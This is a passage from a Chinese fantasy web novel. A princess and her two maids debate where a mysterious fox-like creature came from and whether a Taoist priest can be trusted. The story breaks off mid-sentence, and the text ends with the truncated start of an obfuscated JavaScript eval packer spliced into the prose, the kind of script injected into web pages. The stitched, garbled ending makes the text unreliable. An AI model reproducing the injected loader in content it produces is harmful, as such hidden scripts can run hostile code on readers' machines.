墨玉悄声对墨朝烽道:“皇兄,我有些乏,先回去了。”说罢便起身离席,独自回到望月楼中。
次日一早,墨玉去花园采了些浆果和嫩叶,作为胐胐的口粮。自昨夜她离席回去,又与胐胐交谈了半个时辰,胐胐对云沐、云沐已无敌意。二人虽不可触碰它,但胐胐再也不会在二人忙碌时捣乱,墨玉不在时,只独自在花园扑蝶玩耍。
“公主,这小狐狸到底是从哪里来的?问你几次你都不认真回答。”云沐道。
墨玉长叹一口气,对着门前正在吃食的胐胐道:“胐胐,过来告诉云沐,你是从哪里到我卧房的?”
胐胐瞧了墨玉一眼,继续吃食,不予理会。
云沐赌气道:“你不想说就算了。”
墨玉无奈道:“我都告诉过你,我一睡醒,它便出现在我的床头。你不相信我又有什么办法?”
云沐道:“事出反常必有妖。咱们每晚睡觉时房门都紧锁的,闯进来个小动物就够奇怪的,更何况这小家伙生得奇异,就好像……好像不是这凡间之物似的。”
墨玉道:“胐胐确不似凡间之物。之前我溜去坊间茶馆的时候,听人说了不少奇异故事。据传神山上都有些奇珍异兽,说不定它就是从那里来的。”
云沐摇了摇头,手上的针线活也没停,嘟囔道:“那些说书的人,恨不得把话说到天上去,不然别人怎么爱听?我前几日出宫采买,去茶馆喝盏茶的功夫,还听那说书人在讲什么长生术哩。”
墨玉辩解道:“并非说书人夸大,连竹苇巷的张道长也说过,世间之大无奇不有。你要知道,张道长神机妙算,连皇兄都对他礼敬有加,每次去洛鸿山祭祀,都会请他一起。”
云沐道:“那不过是祖制要求,祭祀要有一名道长陪同。皇上不肯坏了礼法,便找那张老头充数。占卜之事玄之又玄,作不得数的。”
墨玉微有愠色,正色道:“不许你这样说张道长。”
云沐见墨玉生气,不愿再说,扭头缝制衣物,这时小楼窗户打开,云溪清脆的声音传来:“开饭啦!”
三人围坐在餐桌前,一边吃着,云沐一边将二人方才的对话说给云溪,非叫她判个对错。
云溪吃吃笑道:“说
;eval(function(p,a,c,k,e,d){e=function(c){return(c